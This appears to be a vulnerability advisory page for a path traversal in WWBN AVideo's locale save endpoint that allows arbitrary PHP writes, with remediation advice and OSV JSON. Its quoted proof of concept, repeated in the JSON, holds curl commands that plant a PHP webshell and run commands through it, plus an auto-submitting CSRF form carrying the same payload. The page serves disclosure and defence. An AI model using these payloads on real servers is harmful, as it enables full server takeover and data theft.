CVE-2026-40909: Wwbn/avideo Remote Code Execution Vulnerability

HIGH
Advisory Identifier: GHSA-6rc6-p838-686f
CVSS 8.7
CWE-22
Published
Advisory Summary

CVE-2026-40909 is a HIGH (CVSS 8.7) remote code execution vulnerability (CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')) affecting Wwbn/avideo libraries in the Packagist ecosystem. The issue involves wwbn avideo has a path traversal in locale save endpoint enables arbitrary php file write to any web-accessible directory (rce). Remediation is available in the latest vendor maintenance releases.

CVE-2026-40909 at a Glance

CVE Identifier CVE-2026-40909
GHSA Identifier GHSA-6rc6-p838-686f
Severity HIGH
CVSS v3.1 Base Score 8.7
CWE Classification CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Affected Product Wwbn/avideo
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 8.7

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required High (PR:H)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2026-40909

To remediate this vulnerability, upgrade all affected Wwbn/avideo dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

wwbn/avideo fixed: Latest secure release
Upgrade wwbn/avideo to Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for wwbn/avideo

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-40909, inspect your project dependencies for Wwbn/avideo:

inspect dependencies for wwbn/avideo

Analyze the terminal output to locate any version of Wwbn/avideo in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), where the product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. In Wwbn/avideo, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The locale save endpoint (`locale/save.php`) constructs a file path by directly concatenating `$_POST['flag']` into the path at line 30 without any sanitization. The `$_POST['code']` parameter is then written verbatim to that path via `fwrite()` at line 40. An admin attacker (or any user who can CSRF an admin, since no CSRF token is checked and cookies use `SameSite=None`) can traverse out of the `locale/` directory and write arbitrary `.php` files to any writable location on the filesystem, achieving Remote Code Execution. ## Details In `locale/save.php`, the vulnerable code path is: ```php // locale/save.php:10 — only auth check, no CSRF token if (!User::isAdmin() || !empty($global['disableAdvancedConfigurations'])) { // ... die(json_encode($obj)); } // locale/save.php:16 — base directory $dir = "{$global['systemRootPath']}locale/"; // locale/save.php:30 — UNSANITIZED path concatenation $file = $dir.($_POST['flag']).".php"; $myfile = fopen($file, "w") or die("Unable to open file!"); // locale/save.php:40 — UNSANITIZED content write fwrite($myfile, $_POST['code']); ``` **Root cause**: `$_POST['flag']` is concatenated directly into the file path with no call to `basename()`, `realpath()`, or any filtering of `../` sequences. A `flag` value like `../../shell` resolves to `{systemRootPath}locale/../../shell.php`, which escapes the locale directory and writes to `{systemRootPath}../shell.php` — the web-accessible parent directory. The file content is constructed as: ```php <?php global $t; {$_POST['code']} // attacker-controlled, written verbatim ``` An attacker can inject arbitrary PHP after closing the translation context (e.g., `$t["x"]=1;?><?php system($_GET["c"]);`). **CSRF amplification**: The endpoint performs no CSRF token validation. AVideo intentionally sets `SameSite=None` on session cookies (for cross-origin iframe support), which means cross-site POST requests from an attacker's page will include the admin's session cookie, making CSRF exploitation trivial. ## PoC **Direct exploitation (requires admin session):** ```bash # Step 1: Write a webshell outside locale/ to the webroot curl -b 'PHPSESSID=<admin_session>' \ -X POST 'https://target/locale/save.php' \ -d 'flag=../../webshell&code=$t["x"]=1;?><%3fphp+system($_GET["c"]);' # Step 2: Execute commands via the written webshell curl 'https://target/webshell.php?c=id' # Response: uid=33(www-data) gid=33(www-data) ... ``` **CSRF variant (no direct admin access needed):** Host the following HTML on an attacker-controlled site and lure an admin to visit: ```html <html> <body> <form method="POST" action="https://target/locale/save.php"> <input type="hidden" name="flag" value="../../webshell"> <input type="hidden" name="code" value='$t["x"]=1;?><?php system($_GET["c"]);'> </form> <script>document.forms[0].submit();</script> </body> </html> ``` After the admin visits the page, the attacker accesses `https://target/webshell.php?c=id` for RCE. ## Impact - **Remote Code Execution**: An attacker can write arbitrary PHP code to any writable web-accessible directory, achieving full server compromise. - **CSRF to RCE chain**: Because no CSRF token is required and `SameSite=None` is set, any user who can trick an admin into visiting a malicious page achieves unauthenticated RCE. This significantly expands the attack surface beyond admin-only. - **Full server compromise**: With arbitrary PHP execution as the web server user, the attacker can read/modify the database, access all user data, pivot to other services, and potentially escalate privileges on the host. ## Recommended Fix Sanitize the `flag` parameter to prevent path traversal and add CSRF protection: ```php // locale/save.php — after the admin check at line 14 // Add CSRF token validation if (empty($_POST['token']) || !User::isValidToken($_POST['token'])) { $obj->status = 0; $obj->error = __("Invalid token"); die(json_encode($obj)); } // Sanitize flag to prevent path traversal $flag = basename($_POST['flag']); // strip directory components if (empty($flag) || preg_match('/[^a-zA-Z0-9_\-]/', $flag)) { $obj->status = 0; $obj->error = __("Invalid locale flag"); die(json_encode($obj)); } $file = $dir . $flag . ".php"; // Verify resolved path is within expected directory $realDir = realpath($dir); $realFile = realpath(dirname($file)) . '/' . basename($file); if (strpos($realFile, $realDir) !== 0) { $obj->status = 0; $obj->error = __("Invalid file path"); die(json_encode($obj)); } ``` Additionally, the `code` parameter should be validated to ensure it only contains translation assignments (`$t[...] = ...;`) and does not include PHP opening/closing tags or arbitrary code.

CVE-2026-40909 Affected Wwbn/avideo Versions

1 component(s)
Product / Package Ecosystem Affected Versions Fixed Version
wwbn/avideo
Packagist
≤ 29.0

References

Frequently Asked Questions

What is CVE-2026-40909?
CVE-2026-40909 is a security vulnerability in Wwbn/avideo involving WWBN AVideo has a Path Traversal in Locale Save Endpoint Enables Arbitrary PHP File Write to Any Web-Accessible Directory (RCE) under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal').
Which Wwbn/avideo versions are affected?
Affected versions include releases prior to current release patches across affected packages: wwbn/avideo.
What version fixes CVE-2026-40909?
Upgrading to current release patches (or the latest patched release for your respective branch) resolves the vulnerability.
Is wwbn/avideo affected?
Yes, wwbn/avideo is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What is the CVSS score of CVE-2026-40909?
CVE-2026-40909 has a CVSS v3.1 base score of 8.7 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N.
What CWE is associated with CVE-2026-40909?
CVE-2026-40909 is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.).
How can I check Packagist dependencies for CVE-2026-40909?
Run the dependency tree command: 'inspect dependencies for wwbn/avideo'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-6rc6-p838-686f",
  "modified" : "2026-04-24T20:30:17Z",
  "published" : "2026-04-14T22:49:48Z",
  "aliases" : [ "CVE-2026-40909" ],
  "summary" : "WWBN AVideo has a Path Traversal in Locale Save Endpoint Enables Arbitrary PHP File Write to Any Web-Accessible Directory (RCE)",
  "details" : "## Summary\n\nThe locale save endpoint (`locale/save.php`) constructs a file path by directly concatenating `$_POST['flag']` into the path at line 30 without any sanitization. The `$_POST['code']` parameter is then written verbatim to that path via `fwrite()` at line 40. An admin attacker (or any user who can CSRF an admin, since no CSRF token is checked and cookies use `SameSite=None`) can traverse out of the `locale/` directory and write arbitrary `.php` files to any writable location on the filesystem, achieving Remote Code Execution.\n\n## Details\n\nIn `locale/save.php`, the vulnerable code path is:\n\n```php\n// locale/save.php:10 — only auth check, no CSRF token\nif (!User::isAdmin() || !empty($global['disableAdvancedConfigurations'])) {\n    // ...\n    die(json_encode($obj));\n}\n\n// locale/save.php:16 — base directory\n$dir = \"{$global['systemRootPath']}locale/\";\n\n// locale/save.php:30 — UNSANITIZED path concatenation\n$file = $dir.($_POST['flag']).\".php\";\n$myfile = fopen($file, \"w\") or die(\"Unable to open file!\");\n\n// locale/save.php:40 — UNSANITIZED content write\nfwrite($myfile, $_POST['code']);\n```\n\n**Root cause**: `$_POST['flag']` is concatenated directly into the file path with no call to `basename()`, `realpath()`, or any filtering of `../` sequences. A `flag` value like `../../shell` resolves to `{systemRootPath}locale/../../shell.php`, which escapes the locale directory and writes to `{systemRootPath}../shell.php` — the web-accessible parent directory.\n\nThe file content is constructed as:\n```php\n<?php\nglobal $t;\n{$_POST['code']}  // attacker-controlled, written verbatim\n```\n\nAn attacker can inject arbitrary PHP after closing the translation context (e.g., `$t[\"x\"]=1;?><?php system($_GET[\"c\"]);`).\n\n**CSRF amplification**: The endpoint performs no CSRF token validation. AVideo intentionally sets `SameSite=None` on session cookies (for cross-origin iframe support), which means cross-site POST requests from an attacker's page will include the admin's session cookie, making CSRF exploitation trivial.\n\n## PoC\n\n**Direct exploitation (requires admin session):**\n\n```bash\n# Step 1: Write a webshell outside locale/ to the webroot\ncurl -b 'PHPSESSID=<admin_session>' \\\n  -X POST 'https://target/locale/save.php' \\\n  -d 'flag=../../webshell&code=$t[\"x\"]=1;?><%3fphp+system($_GET[\"c\"]);'\n\n# Step 2: Execute commands via the written webshell\ncurl 'https://target/webshell.php?c=id'\n# Response: uid=33(www-data) gid=33(www-data) ...\n```\n\n**CSRF variant (no direct admin access needed):**\n\nHost the following HTML on an attacker-controlled site and lure an admin to visit:\n\n```html\n<html>\n<body>\n<form method=\"POST\" action=\"https://target/locale/save.php\">\n  <input type=\"hidden\" name=\"flag\" value=\"../../webshell\">\n  <input type=\"hidden\" name=\"code\" value='$t[\"x\"]=1;?><?php system($_GET[\"c\"]);'>\n</form>\n<script>document.forms[0].submit();</script>\n</body>\n</html>\n```\n\nAfter the admin visits the page, the attacker accesses `https://target/webshell.php?c=id` for RCE.\n\n## Impact\n\n- **Remote Code Execution**: An attacker can write arbitrary PHP code to any writable web-accessible directory, achieving full server compromise.\n- **CSRF to RCE chain**: Because no CSRF token is required and `SameSite=None` is set, any user who can trick an admin into visiting a malicious page achieves unauthenticated RCE. This significantly expands the attack surface beyond admin-only.\n- **Full server compromise**: With arbitrary PHP execution as the web server user, the attacker can read/modify the database, access all user data, pivot to other services, and potentially escalate privileges on the host.\n\n## Recommended Fix\n\nSanitize the `flag` parameter to prevent path traversal and add CSRF protection:\n\n```php\n// locale/save.php — after the admin check at line 14\n\n// Add CSRF token validation\nif (empty($_POST['token']) || !User::isValidToken($_POST['token'])) {\n    $obj->status = 0;\n    $obj->error = __(\"Invalid token\");\n    die(json_encode($obj));\n}\n\n// Sanitize flag to prevent path traversal\n$flag = basename($_POST['flag']); // strip directory components\nif (empty($flag) || preg_match('/[^a-zA-Z0-9_\\-]/', $flag)) {\n    $obj->status = 0;\n    $obj->error = __(\"Invalid locale flag\");\n    die(json_encode($obj));\n}\n\n$file = $dir . $flag . \".php\";\n\n// Verify resolved path is within expected directory\n$realDir = realpath($dir);\n$realFile = realpath(dirname($file)) . '/' . basename($file);\nif (strpos($realFile, $realDir) !== 0) {\n    $obj->status = 0;\n    $obj->error = __(\"Invalid file path\");\n    die(json_encode($obj));\n}\n```\n\nAdditionally, the `code` parameter should be validated to ensure it only contains translation assignments (`$t[...] = ...;`) and does not include PHP opening/closing tags or arbitrary code.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "wwbn/avideo"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "29.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/WWBN/AVideo/security/advisories/GHSA-6rc6-p838-686f"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-40909"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/WWBN/AVideo/commit/57f89ffbc27d37c9d9dd727212334846e78ac21a"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/WWBN/AVideo"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-14T22:49:48Z",
    "nvd_published_at" : "2026-04-21T20:17:03Z"
  }
}